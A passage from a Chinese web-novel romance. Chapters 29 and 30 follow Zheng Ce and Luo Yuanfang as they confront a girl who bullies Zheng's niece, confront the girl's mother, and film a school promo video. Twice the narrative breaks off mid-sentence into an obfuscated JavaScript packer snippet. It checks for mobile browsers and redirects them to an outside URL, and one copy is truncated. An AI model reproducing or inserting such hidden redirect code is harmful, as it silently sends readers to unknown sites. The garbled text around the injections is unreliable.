郑策抬脚走进去,喧哗在意料之中停止。 教室里所有人都盯着她手上的伤口。 包括骆远方。 骆远方? 骆远方旁边,坐在课桌上哭闹的小女孩也吓得忘记哭,张开嘴灌了风,打出一个饱嗝。 小女孩一手抓住骆远方衣角不放,泪痕未干的脸上被红色水笔涂成了潦草版关公。 而这笔在骆远方手上捏着。 她想起骆远方和老头打架前的狠话:“我可不是什么尊老爱幼的好人。” ……这就来了? 郑策皱了皱眉。 介系弄啥嘞。 她毫不在意落在自己手上的目光,先移开视线去找江蔚云。 小江同学此时站在在讲台上,在她们老师身边。 也是一脸委屈嘟着嘴,手里拿着郑策之前从打印店坑钱之后,给江蔚云买的一块手表。 江蔚云委屈巴巴的表情还没收,眼睛里毫无预兆开始出水儿。 止都止不住。 大河决堤般。 一个不爱喝水的小孩儿怎么这么多水。 “小姨妈,你手怎么了!” 江蔚云说着就朝郑策扑过来。 郑策想让一下,又怕她扑空,从讲台边摔下去,硬生生没动。 “没事的没事的。” 郑策连忙说。 她另一只好手里,还抱着保安给的纱布和消毒棉签,不知道能不能承受住自家外甥女的冲击。 “呜呜呜,小姨妈——我再也不不听话了——” 在江蔚云跑过来,抱住她腿的时候,郑策往后迈了一小步,打算扎个弓步。 身后却靠上一个结实的怀抱。 所以她没移动分毫。 骆远方呼吸擦过她侧颊,郑策脑子里一片空白。 电视里面说,喜欢一个人,最开始是喜欢他的体温。 郑策刚从室外进来,冰凉的额角擦过温暖的侧脸的时。 她心跳漏了一拍。 郑策慌张地抬头去看来人。 视线不知所措撞进了骆远方垂下来漆黑的眸子里。 于此同时,那只受伤的手被轻柔地包裹起来。 郑策想起了舔舐幼狮伤口的母狮。 29. 护短 两个人把郑策夹成肉夹馍。 “咳咳。”江蔚云班主任捏着拳头放嘴边,表情有些不自然地咳了咳。 “你的手……”骆远方还没问完,郑策就大剌剌把受伤的手露了出来。 她打断骆远方的话,故意吓这群小朋友道:“谁和江蔚云打架?” 这只手颇有些不怒自威的架势,吓得小可怜们直摇头。 一个班的大眼睛小脑袋摇成拨浪鼓。 只有坐在课桌上的“关公”一动没动。 “小关公”一看被暴露,立马哭得响天动地。 “郑策啊,你先去校医室包下手吧,这伤不仅他们看着害怕,血淋淋的我看着也吓人。” 老师上前劝她,“你自己一点不清楚吗?” “我没看,确实不清楚,真有这么……”郑策偏过头小声问。 话还没说完,胳膊就被一扯,骆远方拧着眉正垂眸盯着她的手。 原本手上的血都被纱布吸了去,成了血红一坨握在掌心。 现在郑策的手看上去就像刚把谁胳膊给砍了一截,还攥着那半截胳膊耀武扬威招摇过市。 怎么看着瘦瘦弱弱的女孩儿,能有这么多血流呢。 骆远方冷声道:“先去校医室。” 小学的校医,最多进行的工作就是给小孩打屁股针的时候喂他一颗糖。 看见郑策吊着一只血胳膊进来,差点想往外逃。 可能想起来自己是个医生,还是基于职业素养,咽了咽喉咙,忍住了。 “哎呀呀,这个布粘伤口上了!怎么搞的啊?” 女校医一脸难受,好像郑策卸的是她的胳膊。 “得先撕下来,可能有点疼哈。” “来。”郑策的头一直扭在半边,她原本没这么恐慌,奈何这校医情绪感染力太强,郑策现在有些心虚。 “问你话。”骆远方坐在她旁边说。 “嗯?”郑策抬头看他。 “怎么伤的?” “哦,玻璃,碎玻璃握手里了。” 郑策像是吃了一颗极酸的梅子,扁着嘴偏开头催促。 “快撕。” “你们年轻人玩儿得也太狠了。” 女校医一边说着,胳膊肘撞了下骆远方,下巴朝郑策的方向抬抬。 “跟这手不是长你身上的似的。” 骆远方意会,点点头,问郑策:“谁干的?” “啊?” 郑策思维已经紧张地迟钝,手上一直没动静,她转过头去。 校医还在准备消毒工具,郑策神经一紧一松,快拉出千层褶皱了都。 一不留神说漏了嘴。 “我去给韩俊生做饭,和他爹打了一架。” 骆远方眉头皱得更深了,他沉着声假意轻松问:“你这么猛,韩忠夏还好吧?” “好,啊——” 趁着注意力被完全转移,校医找准角度,舔了舔下唇,用力一撕。 郑策疼得差点抽搐起来,右手想扶着什么抓了个空。骆远方忙把自己送了上去。 郑策握着他的手,越捏越紧。还好不是十指相扣,不然堪比古代夹手指酷刑。 骆远方另一只手包住她的手,“没事没事,一会儿就好。” 郑策龇牙咧嘴盯着他:“要不你来?” 骆远方摊开幸免于难的那只手,脑子里翻腾转移注意力的法子,最后脱口而出:“我也划一道口子,你也一道口子,我们就是两口子。” …… “你俩加起来有十岁吗?” 这回连校医也楞住了。 打量了他们下,忍住八卦的心,才没问他俩成年了没有。 “江蔚云是什么情况你知道么?”郑策转移话题。 “哦,就……一小女孩儿要戴她的手表,又不肯还,还在云朵儿手上画了个假表说跟她交换。” 骆远方说,“把云朵儿气哭了,我路见不平,把真正的人体彩绘给她展示了下。” 郑策呆住了。 所以她再早点来,就会看见骆远方挤在一群还没他腿高的小朋友里,在一个又哭又闹的小女孩脸上画画。 精彩。 此时,校医室门口路过刚才的小关公,一瞅见他们就开始机关枪一样发射口水。 郑策一愣,手在背后的桌子上一抓,拿了个针头对准她。 “屁小孩儿,你过来!” “别吐啦,这儿是校医室!”校医也犯恶心起来。 而那小女孩就站在门口一口一口地呸。 像个辛勤的洒水机,一脸仇恨地盯着骆远方。 忽然,骆远方站了起来。 他个子高,走过去两步,小女孩儿就被笼罩在阴影里。 大概是被骆远方吓出毛病了。骆远方弯下腰,女孩也不肯示弱地瞪着他。 然后,郑策又见证了这位少年十分另类的一面: 骆远方一脸冷静,对着女孩儿的脸十分铿锵地呸了一声,气儿很足,没有水儿。嗓音响亮,气势凶猛。 女孩眼睛被吓得狠狠闭了下。 然后骆远方丝毫没有恃强凌弱的羞愧感直起身往回走。 走了一半又转过身去。 “告诉你,江蔚云我罩的,你下回再朝她身上吐口水,我叫上我哥们儿,一人一口淹死你。” “她还朝云朵儿吐口水!” 郑策一听不干了,就要起身,又被校医压着胳膊拉了回去。 校医苦口婆心道:“一个男生欺负我们学生就够了,你还要加一个?” 郑策正想吐槽现在小孩儿怎么这么欠。那个小关公就开始哭,嗓子那叫一个明亮,贯穿耳膜。 然后,她被身后一个女人抱了起来,“哦好了,宝贝儿不哭了,妈妈给你做主啊,谁给你涂成这样的,我们要他好看!” 女人朝校医室看了眼,骆远方无辜地对她耸耸肩,表示不知情。 而那小女孩得到了鼓舞,全程就“哇啊啊,哇啊啊”地被抱了过去。 那叫一个闻者伤心,听者流泪,郑策和骆远方越看越解气哦。 等两人走远了,骆远方扁着嘴转过身来,发现两人都盯着自己,有些不好意思地笑了笑。 “我刚是不是有点幼稚了。” “比你在小孩脸上画画的智力高不了多少。” 郑策看着门口发呆。 “我觉得她妈妈也是个难缠的。” “那是相当难缠。” 骆远方也看看门口,歪了歪头,“不过我们也不好打发。” 果然,一进靠近办公室就听见了那位母亲的暴徒发言:“这个孩子小气得很,我心肝儿戴你一块儿表怎么了?” “怎么了?” 骆远方今天格外护短,一脚把门踹开。 “我们穷,那快表就是我心肝儿。那我把你心肝儿夹胳膊下去街上溜一圈如何?” “这谁啊?”女人皱着眉尖声问。 恁爹。 “是他画的!”小女孩儿指着骆远方。 可算抓住机会告状了,刚才在校医室门口一下子哭得太忘情,哽咽了半天没说出话来。 “谁看见了?”骆远方无赖道,他朝旁边一招手。 “你们,过来。” 几个胆大的小孩儿一人抱着一块巧克力,屁颠屁颠从教室门口跳过来。 郑策一看就撇过头去笑了,这巧克力是她上回买回去,还没来得及吃的。 看来这是友军啊。 骆远方脚下一堆巧克力味儿的小矮子虾兵蟹将,把他拥护在中间。 而骆远方气势从来不弱。 他双手插兜,朝办公室里抬了抬下巴,问: “江蔚云手上那个假表谁画的?” 蟹将齐刷刷腾出一只手指着小关公。 又问:“小关公脸上的红笔谁画的?” 虾兵摇头如波浪。 他弯下腰,满意地在王朝马汉张龙赵虎们头上挨个揉了揉,“去玩儿吧。” 左膀右臂们又跟退潮一样散了出去。 班主任见状,都不想再多说什么了。 而那女人不服气,梗着脖子转过头去,小声嘟囔了句:“没妈的孩子,谎话连篇。” 她翘着二郎腿,穿米白色西装裤和灰色小西服,一股精英份儿。 但说出口的话却跟猪圈里长大的猪猡没什么区别。 “这位家长!”班主任声音终于大了起来。 同时还有骆远方指着她鼻子就冲进办公室。 “你他妈再说一遍,我让她变成有妈不如没有的孩子。” 女人楞了下,立马开始哭嚎,“哎呀,老师你可得为我们做主,这漂亮的小脸怎么就成了这样。” 场面一时极为混乱。 “小姨妈!” 江蔚云竟然是这办公室里少数冷静的人,忽然叫了声。 “哎,有点头晕。”郑策扶着头,摸索着坐在其他老师的工位上。 对江蔚云招手: “你过来。” 江蔚云不知所云走过去,郑策一把将她横抱起来。 “什么?” 她说着就把耳朵往江蔚云嘴边凑,“刚才和她抢手表的时候磕到脑袋了?” 郑策心疼地去揉她的头,江蔚云算得上和郑策身经百战,此时瞬间便配合得天衣无缝。 在她怀里哼哼唧唧起来。 骆远方都惊了,又冷着脸对那女人道: “你心肝儿,他妈的还打人。” “别骂脏话。” 郑策柔声劝阻,“人都骂那么难听了,欺负我们没家长撑腰不是。我看素质也就那么点,我们不要被带偏了。” “郑策。”老师有些无奈地看着她们。 “我叫你来可不是挑事的。” 郑策垂着头没看她,一言不发撑着气场。 最后这场口舌之战,以郑策骆远方一个白脸一个红脸碾压式完胜后,进入自家教育环节。 那边就是母女两个,你心疼我我心疼你,一口一个宝贝妈咪小心肝儿。 这边三个人无话可说。 骆远方瞟了眼并无反常的江蔚云,忽然把手伸给她。 “给我画个表。” 江蔚云疑惑地看着他,他爽快道:“陪你戴一阵这个丑玩意儿。” 郑策只觉得江蔚云眼睛里闪过一丝诡异的兴奋,拿起骆远方手里的笔,咬着舌头,毫不犹豫就开始埋头作业。 郑策之前没来学校里面找过她,今天在班上一见,才知道为什么骆远方说江蔚云穿衣风格太独特,全靠她这张脸撑着。 现在眼皮子底下就一团鲜绿色在蠕动着,郑策只觉得对视力过分好了。 江蔚云在班上想必妥妥的班草吧。 蔚云上阶绿,蔚云入帘青。 郑策抿着唇给骆远方点了个赞。 她忽然想到什么,戳了戳江蔚云问,“那个女孩是你之前说人缘好那个么?” “嗯,但以后不是了。”江蔚云笃定地说,她抬头笑着看了眼郑策。 她这副淡定的样子和对面哭哭啼啼的母女俩完全反着了。 江蔚云说完调皮地眨眨眼,“因为都知道我有两个又酷又凶的哥哥姐姐。” “哎哎看着点。” 骆远方紧张地轻拍了下她的头,“也别太丑吧姐。” 谈话结束,两个小女孩面子上必须重归于好,互相非常敷衍地抱了下,便由老师带回班里彩排。 但小关公的母亲,老关公对这次活动表示非常不满,坚持要把小关公带回去,走之前还狠狠瞪了江蔚云一眼。 嘿,牛教三遍都知道拐弯。这屡教不改的欠揍模样…… 要不是江蔚云拦着,郑策和骆远方今天高低露两下子。 “你们先去练着,我等会儿过来。”骆远方看着两人离去的背影说。 “我也等会儿。” 郑策想起江蔚云这段时间可能一直被打压欺负,眼里的怒火就没消解下去。 “你跟着我干嘛?”骆远方离开学校走了两步问。 “我跟屁跟,你是屁?” “你想找她们麻烦?”骆远方一下子明了。 “江蔚云咽得下这口气,我咽不下,我给她报仇。” 骆远方看郑策眼睛里闪着别样的狡黠,有一瞬的怔愣。 郑策之前走的每一步似乎都是深思熟虑过后的,现在不计后果的莽撞模样,竟有些灵动。 恰好那母亲进美妆店里买东西,小女孩儿没跟着进去,站在路边玩儿。 骆远方把郑策往身后一带。 “别乱来,看我的。” 他非常从容走到女孩旁边,手在路边铁栏杆上随意一蹭,将沾了水的手指迅速点在小女孩额头。 骆远方睁大眼睛眨巴眨巴看着她,夹着声音道:“哦啦,空你几哇,阿尼哟哈赛哟,比巴拉必答!” 郑策闭上了眼睛。 这一幕似曾相识…… 念完,骆远方挺直腰板,居高临下,用鼻孔对着她道: “你已经中了我的毒,以后一靠近江蔚云,你就会掉一根头发,直到变成个秃子!” “你骗人!”女孩皱眉盯着他。 “我为什么要骗你?你妈妈已经把你带走了我骗你干嘛?以后江蔚云就是班里人缘最好的,我骗你也没什么用,以后也不会有人跟你玩了……” 骆远方话题一转,“你仔细感受感受,小腿上是不是凉飕飕的?” 女孩惊恐又认真地感受,骆远方了然一笑,“那是我的小鬼扒着你裤脚不放呢,除非……” 他看了眼雨后路边的水凼凼。 “除非你用泥巴沾湿裤脚,不然他们不会放手的。哦对了,你妈妈的也一样。” “你骗人你骗人!女孩急得要哭了,一个劲儿跺脚。 “随便你信不信,以后就成个秃子了,又秃又凶,看谁还喜欢你。” 骆远方估计着时间,她妈妈也该出来了,全身而退。 他转身走了几步,自信地对郑策伸出三根手指。 变成两根。 一根。 三秒后,小女孩果断在泥里滚了两圈。 而她妈妈刚从店铺里出来,迎接她的就是自己女儿准备好的,两坨混合狗屎尿、雨水、还有一系列不明物质的稀泥巴。把她白色裤脚直接抹成了水泥味儿蛋糕。 这位母亲低声尖叫一声,“你疯了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081551|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她又羞又愤,在街上打也不是,不打又制止不了,真是丢了个大人,气也气死了。 骆远方和郑策头也没回,事了拂衣去,深藏功与名。 郑策想起最近江蔚云看的动画片。 超级侦探,认真办案。 养出这么个小玩意儿的大玩意儿也应该受点惩罚才是。 骆远方似笑非笑看了郑策一眼,郑策没看他,抬手朝他竖了根大拇指。 处理的不错,如果让郑策上阵,关心则乱,说不定她真的会吐那小关公一脸口水。 “江蔚云就是太懂事了,很多时候比我考虑的还要多。” 进了学校,郑策忽然说,“可能有的人觉得小孩乖乖的好,但我知道乖巧的背后压抑了什么,我不希望她这么乖。” “郑策,你有没有想过你对她太关心了。上学前,东西一定不要忘了带,在别人家住着要少提要求,就连从学校回家的路线都让她背熟。” 骆远方看着她说,“其实是你对她太不放心,导致你一直很累。而她,更不敢放松。不如放手些。” 郑策看着草坪上自动喷洒的浇灌机器运作,有些出神。 水柱成散状喷洒,在雨过天晴的阳光下出现一小道彩虹。 骆远方也停下看着那边,“你知道刚才我还没进教室的时候,看见了什么吗?” 他说:“小女孩儿不想还云朵儿表的时候,有很多人站出来帮江蔚云说话。” “她凭借自己的能力交到了很多还不错的朋友。所以,你大可不必把所有责任都揽到自己身上,反倒把自己给困住了。留出一点空间,小苗自己也是会成长的。” “这样么?”郑策有些出神。 骆远方也沉默着站了会儿。 忽然面前的浇灌小喷头开始变换方向和角度,他忙伸手去捞郑策。 郑策左手刚经历一场混战,此时非常敏捷地朝后一戳,给了他一肘子。 骆远方闷哼一声,还是把郑策拉出两段距离,才没被当场淋了个兜头。 他皱着眉道: “刚才斗殴,就是这样不看对手的么?难怪会受伤。灵敏度可以,但准确性差点意思,全是伤敌八千自损一百的打法。” “来。”他往后跨了一步,偏偏头,“打我一拳。” 郑策挑眉看了他一眼,几乎没犹豫,对着骆远方侧脸就打了过去。 却之不恭。 没想到,伸过去的手臂被骆远方一把抓住,他再微一转身,瞬间化了力道,将郑策的手反拧至身后。 因为控制着力道,郑策并不疼。 她立马用另一只手去偷袭,骆远方没有防备,腰上被不轻不重捏了下。 郑策笑着用那只手在他脸上轻拍了拍,“身材不错。” 她还要再挣脱,这回出拳却被骆远方轻易化解,手上被卸了力,被骆远方一只手捆在身后。 骆远方报复性也拍了拍她的脸,“你也是。” “又不看对方就伸手,如果我手里拿着刀,你右手就废了。” 骆远方垂头对着她说,因为手上使劲,语气并不轻松,甚至带着低喘。 温热的气息裹上郑策耳郭,她还在想办法反击。 挣扎了会儿,才终于放弃。 “知道了。”郑策落了下风,有些不服气。 “放开我。” 骆远方刚松开一只手,郑策又要出手。他立马绕过郑策,前胸贴着她后背,将她的手稳在身前。 嘴唇若即若离贴着郑策耳朵道:“偷袭技术不太行。” “诶你们哪个班的?放假的时候来学校谈恋爱?是跟我示威吗!” 一个嘹亮的嗓门忽然在身后响起。 带着不可思议的自我怀疑。 也不怪这位老师误解,骆远方胸膛紧贴着郑策站在她身后,一只手夹在两人中间,另一只手绕过郑策肩膀钳制着她的左手。 从远处看,完全是拥抱的姿势。 哪里看得见里面的弯弯绕绕,暗流涌动,只当是亲密的小情侣在学校内控制不住动手动脚。 挑战权威。 郑策被这一嗓子吓够呛。 “跑。” 她反手拉着骆远方就往反方向跑。 “这里。” 骆远方有些想笑,一来他们根本无需心虚,二来这里也不是九中,怕个毛啊。 但他依旧非常配合地帮郑策找隐藏点。 带着看笑话的心情。 因为多次来这里找骆乘光,他熟练反客为主拉着郑策钻过三角梅垂落的窄门。 两人在绿茵环绕的拱门通道里牵着手奔跑,细碎阳光穿过绿叶间隙,洒落一地斑驳金光。 像是在午后的梦里,入眼皆是碧绿,前方出口亮得晃眼,周遭声息渐轻。 唯一真实的,是两人相握的掌心,还有触碰到的皮肤上,互相传递的温度。 跑进那光亮的时候,盛夏第一声蝉鸣穿透耳膜。 郑策清晰地听见了自己的心跳。 骆远方带着郑策很快躲进两个建筑之间的夹缝里。 两人都没说话。 听着那男老师的脚步声走进后,非常自然地又走远了。 “靠,跑习惯了,我们怕他干嘛?” 郑策胸口还剧烈起伏着,皱着眉小声道。 “不知道,被你带的,就跟着跑起来了。” 这是两栋教学楼之间的缝隙地带。 两栋楼这一侧都没有窗户,五六层楼高的建筑间只留出一个半人的宽度。仰头望上去,有些深渊既视感。 地上有积年已久的烟头堆和零食包装袋,想必是个宝藏地带。 两个人之间离得格外近,周围一安静下来,只剩彼此呼吸相闻。 但谁都没动。 昨晚几乎一晚上都在医院耗着,今天一早骆远方又去了路口和小学,根本没时间打理自己。 少年人胡茬长得很快,只两天没刮,已经长出短短青茬。 郑策抬头望过去时先看见的便是骆远方略显粗糙的下巴,添上了平日里难得一见的成熟。 再心虚地往上看,鼻子很高,睫毛很长…… “你……什么时候换眼镜了?” 郑策奇道。 之前骆远方的眼镜是黑色边框,书卷气息浓厚,虽然成绩不好,但乍一看,像是邻居家的学霸兄长。 此时换了个金色的,配上他今天敞开穿的白衬衣,显得贵气十足。 像是从公司里刚下班的精英,受够了衬衣一天的束缚,扯松领口,随意又矜贵。 真是个妖精。 “我……”骆远方正要回答。 “不对。”郑策往旁边让了一步,拉开两人的距离,审视他。 “你为什么会在这里?” “我接了个任务,过来拍摄九中宣传片。” 骆远方说,“柯言说还有个人要来帮忙,这傻逼一直没到,等的时候顺便打了一架呗。” 他无所谓地伸着懒腰望外走。 阳光穿透他通红的耳骨,照得晶莹剔透。 “走,今天骆乘光在舞室练舞,我们去蹭他一顿饭吃。顺便等等那个傻逼,我看这大牌究竟要什么时候才来。” 30. 怎么就他妈的硬了 因为柯言让郑策去录制旁白之前,刚替她决定了指导全班物理这件大事。所以,郑策根本忘了问一同来的人是谁。 只想着,来了之后看谁扛着设备,便去找谁。 而骆远方是懒得问,怕来个祖宗又要指导拍摄,又要过问运镜。 于是他先耍了个大牌,以不变应万变。 同样,柯言那边,不知道哪里来的错觉,以为两人会互相沟通,也忘了说这回事。 于是,事情就这样尴尬地发生了。 郑策面无表情看着骆远方走出夹缝,转头问她:“还不走?” 她才抬脚跟上。 拍摄时间定的是下午。 上午计划让班主任带着这群小孩儿提前排练。此时两人再回去,所有人都去吃饭了。 “初三的没放假,还有留校的住校生,食堂还开着。” 骆远方说着带郑策往舞室走。 “他们食堂的杂酱面非常好吃,肉沫剁得细,而且量大。” 郑策嗯了两声。 舞蹈室隔音很好,在外面路过听不见一点声响。 骆远方推开门,躁动的音乐瞬间拔地而起,骆乘光保持着一个动作楞在原地。 “哥?” 室内光线很亮,浅色木地板,一整面墙的落地大镜子,显得整个室内干净又宽敞。 骆乘光穿着宽大的长袖白T,腰间系了一件格子衬衫,下面是浅灰色休闲裤。 耳机挂在头上,看过来的时候有些不知所措。 “你怎么找过来了?” 骆乘光眼神不自然地往门后瞟了眼,关掉音乐。 “不会是老师找你了吧?” “不做亏心事不怕鬼上门。” 骆远方自来熟地在背后的长椅上坐下,带着点审视的眼神看骆乘光。 “你做都做了,还怕我上门来找?” 骆远方换了方向跷二郎腿,一手随意搭在曲起的腿上,另一只手伸展开,斜靠着椅背,扶着下巴看他。 脸上似笑非笑,完全一副大家长做派。 还没结婚呢,就给人当其爹妈来了。 不知道该说他早熟还是负责。 郑策犹豫了下,也跟着坐在他旁边,凳子够宽,她一脚踩在凳沿上,一手也搭在椅背上。 不知道做什么表情,就面无表情看着他。 两个人在镜子里像是来收保护费的黑.老.大。 骆乘光还没来得及关手机,上面是他给自己录的视频,正对照着细纠动作。 此时屏幕对着两人无声地播放了一遍。 跳得还真不错。 “校园卡带了么?请我们吃顿饭。”骆远方忽然说。 骆乘光惊讶地抬头看他。 “带了么?”骆远方不耐烦问了句。 “带了。” “那走。不吃午饭,下午晕死在这里都没人知道。” 骆远方抓起骆乘光的外套往外走。 “你不是来拦我的?”骆乘光有些惊讶,小跑追上去。 “拦你干什么?你自己喜欢,又跳得好看,还没耽误学习,我不懂你们班主任在大惊小怪什么。” 骆远方转过头说,“吃饭完抓紧回来练,要比赛就好好比。” “好!”骆乘光惊喜地看向郑策,郑策也对他笑笑。 不知道骆乘光本身就是狂吃不胖的体质,还是为了保持身材。整个人很瘦。 被骆远方盯着,把餐盘里最后一粒米扫光,骆乘光才获得了营业资质许可似的,吃完就冲回舞室。 “你还挺开明。”郑策坐在空教室的桌子上,腿一晃一晃对他说。 “一般吧。” 骆远方拿了个纸杯向郑策举了举,郑策摇摇头。 他走向饮水机,略微弯下腰说: “江蔚云我会带回去,你没事先走吧。” “我也不走,有点事。”郑策有些得意洋洋地说。 骆远方看了眼她,道:“随你。” 啧 郑策在骆远方背后做了几个鬼脸,翻着白眼跳下桌子,差点崴脚。 她打算重新找空教室先练练嗓子,不然说不定被这个刻薄的家伙在背后怎么蛐蛐。 郑策先去江蔚云教室看了下,趴了一教室的小脑袋午休。又去楼下买了瓶水,犹豫了下,没给骆远方这个尖酸的人买。 耽误这一阵,找了间离所有人都远的空教室,郑策清了清嗓子,深吸一口气,缓慢吐出。 “嘶——” 开始开嗓练声。 在教室最后排躺着,正准备美美入睡的骆远方猛然睁开眼睛。 背后爬上一层鸡皮疙瘩。 他以为野山上的蛇下山了。 紧接着又听见了压低嗓子的,一阵持续的气泡音。 像陈赫打的嗝。 至此,经验丰富的骆远方知道是有人进来开嗓。 因为紧随着短促有力的“嘿!”和“哈!”让他差点没憋住笑。 郑策照着网上的技巧,开始学习小狗喘气,又是漫长而搞笑的一阵练习。 她心想,还好没人听见。 到郑策开始念台词的时候,骆远方才把她认了出来,紧接着意识到郑策就是他口中的傻逼。 刚才真是酣畅淋漓的一场贴脸开大啊。 但不得不说,郑策做什么事都很认真,为了这么一次拍摄,竟也会提前顺几遍稿子。 他又听见教室前面的人咕哝: “这是什么字?靠,我不仅阅读障碍,还文盲,还好骆远方没在这儿,个傻逼话多……” 傻逼不敢动。 昨晚太累了,本来想趁着午休时间找个安静的地方好好休息一下,哪想到撞上了人家的午练时间。 这下尴尬了。 骆远方浑身僵硬,生怕弄出一点动静,只有一双眼睛骨碌碌转着想办法。 有了。 他拿出手机,悄悄设置了三分钟之后的闹钟。 待会儿闹钟响的时候,就跳起来假装自己才被吓醒,同时提醒郑策这教室里不止她一个人。 只要睡眼够惺忪,表情控制得足够得当,他就能顺利化解这场尴尬。 骆远方又慢慢闭上眼睛,预备进入演习状态。 然后他在合上眼皮的最后一丝缝隙里,看见了郑策的杀气腾腾的脸。 骆远方像是受惊后疯狂挣扎的虫子,差点没从拼接的椅子上摔下去。 他干笑了笑,“哈哈,那傻……人,是你?” “昂。”郑策也看着他。 “对不起。” 郑策脸上阴沉更重。 “我错了,我下回睡觉大点声。” “……” 两人第一次合作便在一种非常微妙的气氛下进行。 期间骆远方试图挽回些什么,夸道:“果然普通话比我们这儿大部分人都要好啊。” 意料之中收获一张冷脸。 直到郑策看见骆远方无意放置在一边的分镜草稿时,她忍不住问:“这,你画的?” 只有铅笔寥寥勾勒几笔,但她一眼能看出了这是教室哪个部位。 甚至能从几根线条画的小人分辨出刚才在教室看见的一些小孩。 不得不说,很传神。 一个细节就能抓住整个人的神韵,不愧是骆远方。 “嗯。” 骆远方看了眼,把图收回去,“随便画的分镜,不用在意。” “挺好看的。” 虽然刚被这人羞辱了一番,但郑策做事敞亮,毫不吝啬赞道。 不管骆远方是不是周全他们口中的天才,能信手拈来这种程度已是不易,得经历上百次锤炼和磨砺吧。 “文艺委员不是白当的。” 骆远方笑着说,看了眼郑策又忍不住调侃,“我用屁股写,都比你写的好。” “那你写一个!” 郑策明显能感受出,在骆远方和自己的相处过程中,他越来越放松。 她能意识到这是一种接纳,所以在骆远今天屡次三番挑战她底线的时候,都忍了。 况且,骆远方拍摄视频时的那副样子她不忍心去打扰。 运镜,构图,视角切换,亮度阴影的掌控……镜头里明亮的书桌,神采奕奕的学生,仿佛能闻到暖黄阳光晒进来的味道。 深绿黑板上,粉笔灰簌簌落下,学生时代的时间随着一根根粉笔的消磨逐渐走向尽头。 “怎么不说话?”骆远方给她放完成品,问。 “拍挺好。”她说,“想到毕业季又要到了,我和之前的同学毕业后就再没联系,以前的事也记得不清楚了,有些感慨。” 所有人都是过客,什么都好像抓不住。 越长大,越是一个人。 骆远方看了她一眼,没头没脑说:“镜头可以。” 他说着往前倒了倒,小屏幕里忽然响起骆远方的声音。 “哈喽孙悟空。怎么回回见你,都抡着金箍棒,大师兄要陪师父去取经?” 屏幕里是郑策灰扑扑的一张脸。 郑策有些惊讶。 这是他们在山上那次见面。没想到骆远方把视频不仅拍了下来,还留了下来。 骆远方看郑策看得入神,勾着唇角又按了下。 屏幕里换了个场景,非常模糊。 但郑策很快认出这是拍的监控。 而监控内的人,正是她抽出一把刀插在安城北面前,抢蛋黄派的英勇事迹。 “靠,你留着这视频干嘛,要威胁我?” 郑策忍不住笑着看他。 “大师兄还怕我威胁?”骆远方问。“不过今天怎么没晕血?” “晕了谁来保释你俩?”郑策想了想说,“坚持了一下就过去了。” “平时晕了怎么办?”骆远方看着她问。 “还能怎么办。”郑策耸耸肩,“等我自己醒过来呗。” 骆远方手上动作停顿了下,皱着眉问:“受伤了还来拍,柯言给你多少钱?” “啧,怎么这么多问题呢,骆记者。” 郑策看他一眼,“缺钱啊哥,要不你赞助我点儿?” “我挣这点还不够我学费的,我妈去世,除了一屁股债,没留一点遗产。” 骆远方把DV收进包里,语气故作轻松。 “还有个只会跳舞的傻子弟弟跟我抢房子,你忍心跟我要?” 郑策撇了撇嘴。 她忽然想起楼道里那些人说的话,他在赚钱。 在赚什么?怎么赚的? 两人拍摄完,在教室外面等江蔚云。班主任说既然大家都来了,再开个班会讲讲要点…… 来都来了……这四个字分量还在上升。 骆远方来学校用的长板代步,此时就在操场上有一搭没一搭地滑。 今天一整天都是晴雨交替,凹凸不平的地方积了浅浅的水洼。 “我给骆乘光说了,他待会儿直接把江蔚云带出来,我们就在这儿等他们。” 骆远方滑到远处,俯下身,手撑着地面一用力,板子迅速原地急转。 浅洼里的水溅出一道弧线。 骆远方也知道自己闹了这么下,江蔚云之后在班里前途未知,专门钦点了骆乘光去撑腰。 让骆乘光带些零食去班里,接江蔚云的时候一定要虚张声势,展现出不好惹的样子。 “嗯,谢了。”郑策有些没精打采坐在观众席阶梯上。 “能问个问题么?”骆远方问。 “不能就不问么?” “嗯。” “……” “你问吧。”郑策仰头面无表情看他。 “为什么回来?” 郑策忽然楞了下,随即尽量使自己表情看上去自然些,“就,在外面过不下去了呗。” “昨晚你……”骆远方在找措辞。 “我爸妈……” 郑策犹豫了下,说,“是煤气中毒没的,昨天晚上骆奶奶的症状有点熟悉,所以我才发现的。那……你爸呢?” “要问回来是么。” 骆远方失笑道,“我也不知道他什么情况。但是如果他回来,我们也不会让他住家里。放心吧。” 像是忽然被戳破了心思,郑策有些羞赧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104525|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我没让你撵他。” “不是你,我们之间……没什么感情了都。” 骆远方耸耸肩,“剩点抚养的义务吧。” “你……”骆远方犹豫了下,“要坐前面来么?带你溜两圈。” 郑策忽然笑了起来,直摆手,“不要,傻逼一样。” “靠,安城北和周全想坐,我从来没让他们坐过呢。” 郑策笑眯了眼睛,故意扁着嘴,拒绝道:“还是很傻。” 骆远方清了清嗓子,捏着声音模仿道:“嘿!哈!还好骆远方不在这儿,个傻逼话多……” “我靠,你都听见了!”郑策站起来不可置信地看着他。 就在她要冲出去的下一秒,骆乘光牵着江蔚云出来了。 走进,骆乘光把电话往骆远方耳边一塞,就听见骆淇的咆哮: “家里做了饭,一个二个都不回来吃,非要去花你弟弟的饭卡,钱多了烧得慌是不是?” 愣神间,骆远方一声没坑就把电话挂了。 转头就问骆乘光:“你告我状。” “快没钱了。” 